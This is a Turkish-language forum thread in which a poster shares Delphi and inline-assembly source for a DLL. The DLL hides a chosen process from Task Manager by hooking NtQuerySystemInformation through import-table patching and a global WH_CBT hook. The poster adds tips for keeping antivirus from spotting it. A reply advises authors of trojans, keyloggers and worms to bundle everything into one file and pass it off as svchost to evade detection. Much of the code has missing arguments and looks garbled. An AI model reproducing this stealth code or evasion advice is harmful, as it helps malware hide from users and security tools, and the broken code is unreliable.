Ayrıca HideprocessNt adlı kaynak kod dosyalarını bulunca hemen sevinmeyin. Bunlar MadCodeHook adlı bir bileşeni kullanıyorlar. Bunun ücretli sürümü ile ancak programı taskmanager'dan gizleyebilirsiniz. Bilginize..

Arayıpta bulamayanlara hayırlı olsun.. Baştan söylemeliyim kod bazen explorer'a hata verdirebiliyor. Bunuda kendiniz aşmayı bilin. Kodun içinde oynamalar yapmanızı öneririm. Şuanki kod Dll için anlaşıldığı gibi. DLL kullanımı düşünürseniz bazı antivirüsler bu dll'yi buluyorlar. İçinde oynama yapın, önerim unit olarak programınıza ekleyin. Bu uzun kodun kullanımı bu kadar basit.. : Kod: function HideProcess : BOOL; stdcall; external 'nthide. dll'; //dosya adı nthide. dll procedure proc; begin HideProcess ; // boolean kullanım false-true end; ////////////////////////////////////// /// Hide Process Unit ///////////////////////////////////// library hide; uses Windows, SysUtils, ImageHlp, TlHelp32; type SYSTEM_INFORMATION_CLASS = ( SystemBasicInformation, SystemProcessorInformation, SystemPerformanceInformation, SystemTimeOfDayInformation, SystemNotImplemented1, SystemProcessesAndThreadsInformation, SystemCallCounts, SystemConfigurationInformation, SystemProcessorTimes, SystemGlobalFlag, SystemNotImplemented2, SystemModuleInformation, SystemLockInformation, SystemNotImplemented3, SystemNotImplemented4, SystemNotImplemented5, SystemHandleInformation, SystemObjectInformation, SystemPagefileInformation, SystemInstructionEmulationCounts, SystemInvalidInfoClass1, SystemCacheInformation, SystemPoolTagInformation, SystemProcessorStatistics, SystemDpcInformation, SystemNotImplemented6, SystemLoadImage, SystemUnloadImage, SystemTimeAdjustment, SystemNotImplemented7, SystemNotImplemented8, SystemNotImplemented9, SystemCrashDumpInformation, SystemExceptionInformation, SystemCrashDumpStateInformation, SystemKernelDebuggerInformation, SystemContextSwitchInformation, SystemRegistryQuotaInformation, SystemLoadAndCallImage, SystemPrioritySeparation, SystemNotImplemented10, SystemNotImplemented11, SystemInvalidInfoClass2, SystemInvalidInfoClass3, SystemTimeZoneInformation, SystemLookasideInformation, SystemSetTimeSlipEvent, SystemCreateSession, SystemDeleteSession, SystemInvalidInfoClass4, SystemRangeStartInformation, SystemVerifierInformation, SystemAddVerifier, SystemSessionProcessesInformation ); _IMAGE_IMPORT_DESCRIPTOR = packed record case Integer of 0: ; 1: ; end; IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR; PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR; PFARPROC=^FARPROC; procedure ReplaceIATEntryInOneMod ; var ulSize: ULONG; pImportDesc: PIMAGE_IMPORT_DESCRIPTOR; pszModName: PChar; pThunk: PDWORD; ppfn:PFARPROC; ffound: LongBool; written: DWORD; begin pImportDesc:= ImageDirectoryEntryToData(Pointer , TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize); if pImportDesc = nil then exit; while pImportDesc. Name<>0 do begin pszModName := PChar ; if (lstrcmpiA = 0) then break; Inc ; end; if (pImportDesc. Name = 0) then exit; pThunk := PDWORD ; while pThunk^<>0 do begin ppfn := PFARPROC ; fFound := ; if then begin VirtualProtectEx(GetCurrentProcess, ppfn,4, PAGE_EXECUTE_READWRITE, written); WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof , Written); exit; end; Inc ; end; end; var addr_NtQuerySystemInformation: Pointer; mypid: DWORD; fname: PCHAR; mapaddr: PDWORD; hideOnlyTaskMan: PBOOL; function myNtQuerySystemInfo :LongInt; stdcall; label onceagain, getnextpidstruct, quit, fillzero; asm push ReturnLength push SystemInformationLength push SystemInformation push dword ptr SystemInformationClass call dword ptr or eax, eax jl quit cmp SystemInformationClass, SystemProcessesAndThreadsInformation jne quit onceagain: mov esi, SystemInformation getnextpidstruct: mov ebx, esi cmp dword ptr ,0 je quit add esi, mov ecx, cmp ecx, mypid jne getnextpidstruct mov edx, test edx, edx je fillzero add , edx jmp onceagain fillzero: and , edx jmp onceagain quit: mov Result, eax end; procedure InterceptFunctions; var hSnapShot: THandle; me32: MODULEENTRY32; begin addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle ,'NtQuerySystemInformation'); hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId); if hSnapshot=INVALID_HANDLE_VALUE then exit; try ZeroMemory(@me32, sizeof(MODULEENTRY32)); me32. dwSize:=sizeof(MODULEENTRY32); Module32First(hSnapShot, me32); repeat ReplaceIATEntryInOneMod('ntdll. dll', addr_NtQuerySystemInformation,@MyNtQuerySystemInfo, me32. hModule); until not Module32Next(hSnapShot, me32); finally CloseHandle ; end; end; procedure UninterceptFunctions; var hSnapShot: THandle; me32: MODULEENTRY32; begin addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle ,'NtQuerySystemInformation'); hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId); if hSnapshot=INVALID_HANDLE_VALUE then exit; try ZeroMemory(@me32, sizeof(MODULEENTRY32)); me32. dwSize:=sizeof(MODULEENTRY32); Module32First(hSnapShot, me32); repeat ReplaceIATEntryInOneMod('ntdll. dll',@MyNtQuerySystemInfo, addr_NtQuerySystemInformation, me32. hModule); until not Module32Next(hSnapShot, me32); finally CloseHandle ; end; end; var HookHandle: THandle; function CbtProc :Integer; stdcall; begin Result:=0; end; procedure InstallHook; stdcall; begin HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0); end; var hFirstMapHandle:THandle; function HideProcess :BOOL; stdcall; var addrMap: PDWORD; ptr2: PBOOL; begin mypid:=0; result:=false; hFirstMapHandle:=CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE,0,8,'NtHideFileMapping'); if hFirstMapHandle=0 then exit; addrMap:=MapViewOfFile(hFirstMapHandle, FILE_MAP_WRITE,0,0,8); if addrMap=nil then begin CloseHandle ; exit; end; addrMap^:=pid; ptr2:=PBOOL(DWORD +4); ptr2^:=HideOnlyFromTaskManager; UnmapViewOfFile ; InstallHook; result:=true; end; exports HideProcess; var hmap: THandle; procedure LibraryProc ; begin if Reason = DLL_PROCESS_DETACH then if mypid > 0 then UninterceptFunctions else CloseHandle ; end; begin hmap:=OpenFileMapping ; if hmap=0 then exit; try mapaddr:=MapViewOfFile(hmap, FILE_MAP_READ,0,0,0); if mapaddr=nil then exit; mypid:=mapaddr^; hideOnlyTaskMan:=PBOOL(DWORD +4); if hideOnlyTaskMan^ then begin fname:=allocMem(MAX_PATH+1); GetModuleFileName(GetModuleHandle , fname, MAX_PATH+1); if not (ExtractFileName ='taskmgr. exe') then exit; end; InterceptFunctions; finally UnmapViewOfFile ; CloseHandle ; DLLProc:=@LibraryProc; end; end.

teşekkürler yarasa trojan keylogger solucan tipi yazılımlarda tek dosyada herşeyi toplamak avantajlıdır. harici dosya kullanımlarında hem virüs programlarına yakalanma hemde cleaner lar tarafından silinme ihtimali artıyor. genelde bu tür yazılımlarda ben sistem programı olarak çalıştırmayı öneriyorum yani herkezin bildiği svchost host olayı. hem risksiz hemde gayet başarılı. profesyonel düzeyde bilgisi olmayan kişiler bu sistem programlarının kaynaklarını göremezler.